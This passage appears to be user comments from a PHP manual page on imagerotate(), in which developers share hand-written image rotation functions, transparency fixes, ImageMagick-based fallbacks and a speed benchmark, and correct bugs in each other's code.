$res2 = imagerotate($res, 90, 0);
var_dump($res, $res2);

?>

This will output:

resource(2, gd)
resource(3, gd)
kraeh at gmx dot net 21-Mar-2011 09:02
I had a problem with a png image containing transparent colors, but found a solution that works for me.
So i thought i might share it:

<?php
$angle=45;
$im=imagerotate($im, $angle, -1);
imagealphablending($im, true);
imagesavealpha($im, true);
?>
Leo 27-Aug-2010 06:32
// angle in degrees, clockwise, allowed values from 0 to 360 degrees
    function rotateImage ($image, $angle)
    {
        if ( ($angle < 0) || ($angle > 360) )
        {
            exit ("Error, angle passed out of range: [0,360]");
        }

        $width    = imagesx ($image);
        $height    = imagesy ($image);

        $dstImage = imagecreatetruecolor ($width, $height);

        if ( ($angle == 0) || ($angle == 360) )
        {
            // Just copy image to output:
            imagecopy ($dstImage, $image, 0, 0, 0, 0, $width, $height);
        }
        else
        {
            $centerX = floor ($width / 2);
            $centerY = floor ($height / 2);

            // Run on all pixels of the destination image and fill them:
            for ($dstImageX = 0; $dstImageX < $width; $dstImageX++)
            {
                for ($dstImageY = 0; $dstImageY < $height; $dstImageY++)
                {
                    // Calculate pixel coordinate in coordinate system centered at the image center:
                    $x = $dstImageX - $centerX;
                    $y = $centerY - $dstImageY;

                    if ( ($x == 0) && ($y == 0) )
                    {
                        // We are in the image center, this pixel should be copied as is:
                        $srcImageX = $x;
                        $srcImageY = $y;
                    }
                    else
                    {
                        $r = sqrt ($x * $x + $y * $y); // radius - absolute distance of the current point from image center

                        $curAngle = asin ($y / $r); // angle of the current point [rad]

                        if ($x < 0)
                        {
                            $curAngle = pi () - $curAngle;
                        }

                        $newAngle = $curAngle + $angle * pi () / 180; // new angle [rad]

                        // Calculate new point coordinates (after rotation) in coordinate system at image center
                        $newXRel = floor ($r * cos ($newAngle));
                        $newYRel = floor ($r * sin ($newAngle));

                        // Convert to image absolute coordinates
                        $srcImageX = $newXRel + $centerX;
                        $srcImageY = $centerY - $newYRel;
                    }

                    $pixelColor = imagecolorat  ($image, $srcImageX, $srcImageY); // get source pixel color

                    imagesetpixel ($dstImage, $dstImageX, $dstImageY, $pixelColor); // write destination pixel
                }
            }
        }

        return $dstImage;
    }
xavtak at gmail dot com 25-Aug-2010 08:38
I've benchmarked three methods described here for rotating an image.

I used a 1600 x 1200 jpeg picture that was duplicated ten times on the disk. I looped through them to apply a CW rotation using either method.

First algorithm (the "imagesetpixel" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
            {
                $ref = imagecolorat($image, $i, $j);
                imagesetpixel($result, ($h - 1) - $j, $i, $ref);
            }
    }
    return $result;
}
?>

Second algorithm (the "imagecopy" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
                imagecopy($result, $image, ($h - 1) - $j, $i, $i, $j, 1, 1);
    }
    return $result;
}
?>

Third algorithm (the "imagerotate" algorithm):
<?php
function CWRotation($image)
{
    return imagerotate($image, 270, 0);
}
?>

In each step of the loop, the image is loaded, rotated then a copy is written on the disk.

Here are the results:
imagesetpixel algorithm: the 10 pictures were processed in 29 seconds
imagecopy algorithm: the 10 pictures were processed in 26 seconds
imagerotate algorithm: the 10 pictures were processed in 2 seconds (no typo here)

Writing the pictures on the disk allowed me to control the results. Every resulting picture was the same (tested with winmerge).

Conclusion: imagerotate is way faster than other "home-made" algorithms.
I ran the tests several times to see if the difference between imagesetpixel and imagecopy was introduced by my computer's independent activity, but I always got that 10% difference.

Note: the picture I used was taken from a camera, so no transparency was involved.
I ran the tests on Windows XP using PHP Version 5.3.0
kmrohe at letsco dot de 05-Mar-2010 03:00
As an alternative to the GD rotateImage() function, this is an easy way to rotate images by 90 degrees ccw *without* loosing transparency:

<?php

  function rotateImage($image) {
      $width = imagesx($image);
      $height = imagesy($image);
      $newImage= imagecreatetruecolor($height, $width);
      imagealphablending($newImage, false);
      imagesavealpha($newImage, true);
      for($w=0; $w<$width; $w++)
          for($h=0; $h<$height; $h++) {
              $ref = imagecolorat($image, $w, $h);
              imagesetpixel($newImage, $h, ($width-1)-$w, $ref);
          }
      return $newImage;
  }

?>
c kelley at ca - cycleworks dot com 20-Feb-2010 02:59
Note, of the rotate functions below, only beau's worked for me. Not sure if it is because of my source image, but upon rotating, the background became blue.

The code snippet below is what I used to prepare UPS shipping labels. The UPS xml api will return a base64 encoded gif, but it is sideways, so as to print on the top half of a 8.5x11 "letter" page. We are saving it in a database and sending it to a label printer, so needed it rotated...

The other code further down didn't make the background blue, however it did make the image leave the canvas by about 50%. Additionally, the imagecolorallocate() function has an example describing how to set the background color. That didn't work for me. Even though the blue BG is #0000ff, using that code didn't work, I had to use the transparent trick below.

The GD image functions may be in their infancy, however are a great reminder to me how powerful php is! Also, ubuntu apache users will need to apt-get install php5-gd to get the gd functions.

<?php
        $image=imagecreatefromgif( 'data://text/plain;base64,'.$this->shipmentLabelGraphicImage );
        $image=$this->rotateImage($image, 90); // Note: rotateImage turns our background to blue!
        $blue = imagecolorallocate($image, 0, 0, 255);
        imagecolortransparent($image, $blue);    // make blue transparent, so image isn't goofy
        imagepng($image,$this->shipmentTrackingNumber.".png");
        echo '<P><img src="'.$this->shipmentTrackingNumber.'.png"></P>';
        imagedestroy($image);
?>
dev at imglib dot endofinternet dot net 25-Aug-2009 03:15
And you can add a transparent background to you png image by change the
<?php
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }
?>
to
<?php
    if ($ignore_transparent == 0) {
        $temp = imagecolorallocatealpha($destimg, 255,255, 255, 127);
        imagefill($destimg, 0, 0, $temp);
        //if set the default color or white or magic pink then use transparent color
        if ( ($bgcolor == 0) || ($bgcolor == 16777215) || ($bgcolor == 16711935) )  {
            $bgcolor = $temp;
        }
        imagesavealpha($destimg, true);
    }
?>
sjef at bosman dot fr 09-Aug-2009 09:28
I wanted to draw a transparent GIF-image and show it on a page, at an angle specified in the URL:
<img src="image.php?angle=90" type="image/gif">

I used the native imagerotate() but at angles of 90, 180, etc. the old background colour would become non-transparent. Apparently, there's a bug somewhere in GD, and has been for ages.

My solution below:

<?php
$height = 100;
$width = 100;
$lsize= $width/2;
$angle= $_GET["angle"];

// avoid the bug:
if(($angle%90)==0)
  $angle+= 0.001;

$image_p = imagecreatetruecolor($width, $height);
$trans = imagecolorallocate($image_p, 254, 0, 0);
imagefill($image_p, 0, 0, $trans);
imagecolortransparent($image_p, $trans);

$black = imagecolorallocate($image_p, 1, 1, 1);
$red = imagecolorallocate($image_p, 255, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);

// draw something here
imageline($image_p, 3, $lsize, $lsize/2, $lsize, $black);

$image_r= imagerotate($image_p, -$angle, $trans, 0);
$w= imagesx($image_r);
$h= imagesy($image_r);
$image_s = imagecreatetruecolor($width, $height);
imagecopyresized($image_s, $image_r, 0, 0, ($w-$width)/2, ($h-$height)/2, $width, $height, $width, $height);
$trans = imagecolorallocate($image_s, 254, 0, 0);
imagecolortransparent($image_s, $trans);
imagegif($image_s);
?>
gglockner AT NOSPAMdwaffler DOT com 23-Jul-2009 12:36
If you're going to do a rotation by hand instead of using the imagerotate function, you can use the imagecopy function to copy a single pixel instead of determining the pixel color and setting the pixel.  Not only is this shorter and cleaner, but it also works with images that are not truecolor (on my system, imagecolorat fails with an image that is not truecolor).
Anonymous 25-Jun-2009 05:32
Sorry, the previous class contains an error, the original image after the rotation 1px move on and get the unwanted "border".

After a careful reading of the local debate, I am using the tip from Dave Richards wrote a new function. With its images can be rotated only 90 ° (default), 180 ° and 270 °, but one rarely needs more ...

The function returns False, or rotated image
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return rotateImage($srcImg, $angle);
    }
}

function rotateImage($img1, $rec) {
    $wid = imagesx($img1);
    $hei = imagesy($img1);
    switch($rec) {
        case 270:
            $img2 = @imagecreatetruecolor($hei, $wid);
        break;
        case 180:
            $img2 = @imagecreatetruecolor($wid, $hei);
        break;
        default :
            $img2 = @imagecreatetruecolor($hei, $wid);
    }
    if($img2) {
        for($i = 0;$i < $wid; $i++) {
            for($j = 0;$j < $hei; $j++) {
                $ref = imagecolorat($img1,$i,$j);
                switch($rec) {
                    case 270:
                        if(!@imagesetpixel($img2, ($hei - 1) - $j, $i, $ref)){
                            return false;
                        }
                    break;
                    case 180:
                        if(!@imagesetpixel($img2, $i, ($hei - 1) - $j, $ref)) {
                            return false;
                        }
                    break;
                    default:
                        if(!@imagesetpixel($img2, $j, ($wid - 1) - $i, $ref)) {
                            return false;
                        }
                }
            }
        }
        return $img2;
    }
    return false;
}
?>

Petr
Mike Knoop 24-Jun-2009 02:25
Don't be tricked into thinking this function will rotate the image resource handle in-place. While the documentation currently doesn't specify and return values, I've found the following return values to be true:

"Returns an image resource identifier on success, FALSE on errors. "

Simply make sure you're doing something like...
<?php
$rotated_img = imagerotate($src_img, 45, $color)
?>

-Mike
krteczek01 at gmail dot com 23-Jun-2009 03:21
Hi, I've rewrote function to class with static methods. Advantage of this solution is ability to be called several times during script execution.

<?php
/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/

if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent::rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

class imagerotateEquivalent {

    static private function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }

    static private function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    public static function rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {

        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Calculate the width of the destination image.
        $temp = array (    self::rotateX(0,     0, 0-$theta),
                        self::rotateX($srcw, 0, 0-$theta),
                        self::rotateX(0,     $srch, 0-$theta),
                        self::rotateX($srcw, $srch, 0-$theta)
                    );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (    self::rotateY(0,     0, 0-$theta),
                        self::rotateY($srcw, 0, 0-$theta),
                        self::rotateY(0,     $srch, 0-$theta),
                        self::rotateY($srcw, $srch, 0-$theta)
                    );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;

        $destimg = imagecreatetruecolor($width, $height);
        imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

        // sets all pixels in the new image
        for($x=$minX;$x<$maxX;$x++) {
            for($y=$minY;$y<$maxY;$y++)
            {
                // fetch corresponding pixel from the source image
                $srcX = round(self::rotateX($x, $y, $theta));
                $srcY = round(self::rotateY($x, $y, $theta));
                if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
                {
                    $color = imagecolorat($srcImg, $srcX, $srcY );
                }
                else
                {
                    $color = $bgcolor;
                }
                imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
            }
        }
        return $destimg;
    }
}

?>
anon at here dot com 13-Jun-2009 01:00
I was quite surprised to see that no one had done any working rotate function. And since I needed one for my web hotel, I whipped this one up. Someone might want to expand it so that it matches imagerotate.

Also, does imagerotate really rotate things counter clockwise? Otherwise this should also be changed.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/
function imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0)
{
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    if($angle == 0) return $srcImg;

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    // Calculate the width of the destination image.
    $temp = array (    rotateX(0,     0, 0-$theta),
                    rotateX($srcw, 0, 0-$theta),
                    rotateX(0,     $srch, 0-$theta),
                    rotateX($srcw, $srch, 0-$theta)
                );
    $minX = floor(min($temp));
    $maxX = ceil(max($temp));
    $width = $maxX - $minX;

    // Calculate the height of the destination image.
    $temp = array (    rotateY(0,     0, 0-$theta),
                    rotateY($srcw, 0, 0-$theta),
                    rotateY(0,     $srch, 0-$theta),
                    rotateY($srcw, $srch, 0-$theta)
                );
    $minY = floor(min($temp));
    $maxY = ceil(max($temp));
    $height = $maxY - $minY;

    $destimg = imagecreatetruecolor($width, $height);
    imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

    // sets all pixels in the new image
    for($x=$minX;$x<$maxX;$x++) {
        for($y=$minY;$y<$maxY;$y++)
        {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
            {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            }
            else
            {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }

    return $destimg;
}
?>
dave dot richards at gmail dot com 17-Apr-2009 04:47
There is a slight mistake in the previous post by Kae Cyphet.

When setting the pixels of the new image the co-ordinates have to occasionally use the width ($wid) and height ($hei). These values must be reduced by 1 as the co-ordinates start at 0 (Not 1) so they only go up to $wid - 1 and $hei - 1 (Not $wid and $hei).

Here's an example of the first function to show this:

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,($hei - 1) - $j,$i,$ref);
  }
 }
 return $im2;
}
?>

Other than that very useful functions!
joseluis at pellicer dot org 01-Dec-2008 08:14
About that rotating function by david at horizon-nigh not working, I found the bug.
I noticed that the x1 and y1 where not used, so, in the loop through every pixel and transform it, change

$x2 = $x * cos($theta) - $y * sin($theta);
$y2 = $x * sin($theta) + $y * cos($theta);

to:

$x2 = $x1 * cos($theta) - $y1 * sin($theta);
$y2 = $x1 * sin($theta) + $y1 * cos($theta);
fernando_empresarial at ig dot com dot br 13-Nov-2008 04:52
<?php
$urlImage = "images/image.png";
$urlNewImage = "images/imageNew.png";

$src_img = imagecreatefrompng($urlImage);
$originalX = imagesx($src_img);
$originalY = imagesy($src_img);
$dst_img = imagecreatetruecolor(640,480);

$imageRotate = imagerotate($src_img,20,-1);

imagepng($imageRotate,$urlNewImage);
imagedestroy($dst_img);
imagedestroy($src_img);
?>
foi02 at cartefoi dot net 01-Oct-2008 07:50
For those who are looking for the GD library for Ubuntu, I let a copy on my server:  http://www.cartefoi.net/compl_compl_2.php
It was pretty hard to find, somebody gaveme his. Thanks a lot to him (message up).
Bert Vandeghinste 20-Sep-2008 07:17
I'm now using david's code with these changes to get a transparent effect.

I exec convert 2 times:

<?php
exec( $imagick . ' -background \'#555555\' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );
exec( $imagick . ' -transparent \'#555555\' -transparent-color \'#555555\' ' . $file2 . ' ' . $file3 );
?>

and then use this after I rotated $output:
<?php imagecolortransparent($output, imagecolorallocatealpha($output, 85, 85, 85, 127)); ?>
david at horizon-nigh dot org 12-Sep-2008 09:06
I couldn't get the replacements from 'the dot thawk' or 'pilot' to work for some reason, so here's my own replacement. It uses ImageMagick; binary must be installed, and you may need to modify the search path. (I didn't use PHP's ImageMagick support for my own reasons.)

<?php
    /**
     * imagerotate()
     * Debian php5-gd packages do not include imagerotate() due to some convoluted reason.
     *
     * @param int $angle - same as PHP builtin function
     * @param $bgd_color - not implemented, apparently always #FFFFFF
     *
     * @return same as PHP builtin function
     */
    if ( !function_exists( 'imagerotate' ) ) {

        function imagerotate( $source_image, $angle, $bgd_color ) {

            $angle = 360-$angle; // GD rotates CCW, imagick rotates CW

            foreach ( array( '/usr/bin', '/usr/local/bin', '/opt/local/bin', '/sw/bin' ) as $path ) {

                if ( file_exists( $path . '/convert' ) ) {
                    $imagick = $path . '/convert';
                    if ( $path == '/opt/local/bin' ) {
                        $imagick = 'DYLD_LIBRARY_PATH="" ' . $imagick; // some kind of conflict with MacPorts and MAMP
                    }
                    break;
                }

            }

            if ( !isset( $imagick ) ) {

                //trigger_error( 'imagerotate(): could not find imagemagick binary, original image returned', E_USER_WARNING );
                return $source_image;

            }

            $file1 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';
            $file2 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';

            if ( @imagepng( $source_image, $file1 ) ) {

                exec( $imagick . ' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );

                if ( file_exists( $file2 ) ) {

                    $new_image = imagecreatefrompng( $file2 );
                    unlink( $file1 );
                    unlink( $file2 );
                    return $new_image;

                } else {

                    //trigger_error( 'imagerotate(): imagemagick conversion failed, original image returned', E_USER_WARNING );
                    return $source_image;

                }

            } else {

                //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
                return $source_image;

            }

        }

    }
?>
AJenbo 26-Aug-2008 01:45
I modified cbl25's function to allow it to rotate an image either clock wise or counter clock wise.

<?php
function rotateImage($image, $direction) {
    $direction = strtolower($direction);
    $degrees = $direction == 'cw' ? 270 : ($direction == 'ccw' ? 90 : NULL);
    if(!$degrees)
        return $image;
    $width = imagesx($image);
    $height = imagesy($image);
    $side = $width > $height ? $width : $height;
    $imageSquare = imagecreatetruecolor($side, $side);
    imagecopy($imageSquare, $image, 0, 0, 0, 0, $width, $height);
    imagedestroy($image);
    $imageSquare = imagerotate($imageSquare, $degrees, 0, -1);
    $image = imagecreatetruecolor($height, $width);
    $x = $degrees == 90 ? 0 : ($height > $width ? 0 : ($side - $height));
    $y = $degrees == 270 ? 0 : ($height < $width ? 0 : ($side - $width));
    imagecopy($image, $imageSquare, 0, 0, $x, $y, $height, $width);
    imagedestroy($imageSquare);
    return $image;
}

//Usage
$image = rotateImage($image, 'cw');
$image = rotateImage($image, 'ccw');
?>
cbl25 19-Aug-2008 07:29
Here is a simple function to rotate a non-square image 90 degrees clockwise.

<?php
function rotateImage($imageResource)
{
    $width = imagesx($imageResource);
    $height = imagesy($imageResource);
    $side = $width > $height ? $width : $height;
    $squareImage = imagecreatetruecolor($side, $side);
    imagecopy($squareImage,$imageResource,0,0,0,0,$width,$height);
    $squareImage = imagerotate($squareImage,270,0,-1);
    $imageResource = imagecreatetruecolor($height, $width);
    $x = $height > $width ? 0 : $side - $height;
    imagecopy($imageResource,$squareImage,0,0,$x,0,$height,$width);
    return $imageResource;
}
?>
the dot thawk+phpnet at gmail dot com 16-Jul-2008 08:44
In response to pilot at myupb dot com on 31-May-2008 02:23
---

I am not sure why you would be defining your own PI, instead of using the built-in constant, and why you do the degrees to radian conversion manually. There might be a speed issue, however here is the exact same code with that small difference.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 05:23
Shortly after posting I was informed about a very nice algorithm for calculating the new pixel position for a rotation and thought it would be a nice improvement. Hopes this helps anyone needing a full implementation.

Note: I tested the function on a 3Mb photo and it seemed to work perfectly with no quality loss.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 07:33
Thanks to the people who contributed the code for the 90 180 and 270 rotations. I needed a full implementation however so I wrote one. By no mean do I think this is the best way of doing it, I just whipped this together for myself. Seems to work good for me.

Note: I didn't want the image to be shrunk when rotating so this implementation will keep the size of the original image but just rotate it.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $theta1 = 0;
                $noTranslate = false;

                // Determine the angle of original point
                if($x1 > 0 && $y1 > 0) {
                    // Quadrant 1
                    $theta1 = atan($y1/$x1);
                } elseif($x1 < 0 && $y1 > 0) {
                    // Quadrant 2
                    $theta1 = $pi - atan($y1/abs($x1));
                } elseif($x1 < 0 && $y1 < 0) {
                    // Quadrant 3
                    $theta1 = $pi + atan($y1/$x1);
                } elseif($x1 > 0 && $y1 < 0) {
                    // Quadrant 4
                    $theta1 = 2 * $pi - atan(abs($y1)/$x1);
                } elseif($x1 == 0 && $y1 > 0) {
                    $theta1 = $pi / 2;
                } elseif($x1 == 0 && $y1 < 0) {
                    $theta1 = 3 * $pi / 2;
                } elseif($x1 > 0 && $y1 == 0) {
                    $theta1 = 0;
                } elseif($x1 < 0 && $y1 == 0) {
                    $theta1 = $pi;
                } else {
                    // Only case left should be $x1 == 0 && $y1 == 0
                    $noTranslate = true;
                }

                // Translate the position
                if(!$noTranslate) {
                    // Calculate the new angle
                    $theta2 = $theta1 + $theta;

                    // Make sure theta2 is in between 0 - 2pi
                    while($theta2 < 0) $theta2 += 2 * $pi;
                    while($theta2 > (2 * $pi)) $theta2 -= 2 * $pi;

                    $radius = sqrt($x1*$x1 + $y1*$y1);

                    $x2 = ($radius * cos($theta2));
                    $y2 = ($radius * sin($theta2));
                } else {
                    $x2 = $x1;
                    $y2 = $y1;
                }

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
achilles 31-Mar-2008 02:02
otimized integration from 23-Feb-2007 04:21
just put it anywhere you like to use imagerotate with 90, 180, 270 degrees.
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($src_img, $angle) {
        $src_x = imagesx($src_img);
        $src_y = imagesy($src_img);
        if ($angle == 180) {
            $dest_x = $src_x;
            $dest_y = $src_y; }
        elseif ($src_x <= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }
        elseif ($src_x >= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }

        $rotate=imagecreatetruecolor($dest_x,$dest_y);
        imagealphablending($rotate, false);

        switch ($angle) {
            case 270:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); }}
                break;
            case 90:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); }}
                break;
            case 180:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); }}
                break;
            default: $rotate = $src_img; }
